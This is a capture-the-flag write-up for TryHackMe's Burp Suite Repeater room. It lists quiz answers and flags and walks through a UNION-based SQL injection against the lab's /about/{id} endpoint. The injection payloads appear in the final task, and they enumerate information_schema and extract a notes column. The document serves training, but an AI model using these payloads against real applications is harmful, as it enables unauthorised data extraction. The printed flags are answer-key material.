TryHackMe - Burp Suite: Repeater

Task 2

Which sections gives us a more intuitive control over our requests?

Inspector

Task 3

Which view will populate when sending a request from the Proxy module to Repeater?

Request

Task 4

Which option allows us to visualize the page as it would appear in a web browser?

Render

Task 5

Which section in Inspector is specific to POST requests?

Body Parameters

Task 6

What is the flag you receive?

THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}

Task 7

What is the flag you receive when you cause a 500 error in the endpoint?

visiting -1 gives a 500 error since negative numbers are not handled properly thus giving us the flag

Task 8

Flag

visiting about page we observe some clickable profiles photos they redirect us to numberic links like http://MACHINE-IP/about/1 so /about/{int} trying 0 gives us the following output

# 500

## `No entries found with that ID`

now we can try some broken sql queries to read the error and get some information from it trying /about/0 UNION gives the following 500 error

so column count for the query is 5

now we can craft a sql query to enumerate the columns of the people table via information_schema 0 UNION SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name='people'

# id None

## None

None

that means we need to use group_concat() on columns since the page is only displaying first matching item. 0 UNION SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name='people'

# id,firstName,lastName,pfpLink,role,shortRole,bio,notes None

## None

None

now we have the column name notes now we can fetch the flag from the notes of CEO (i.e., id=1) from people table now using the query 0 UNION SELECT notes,null,null,null,null FROM people where id = 1 we can get our flag THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}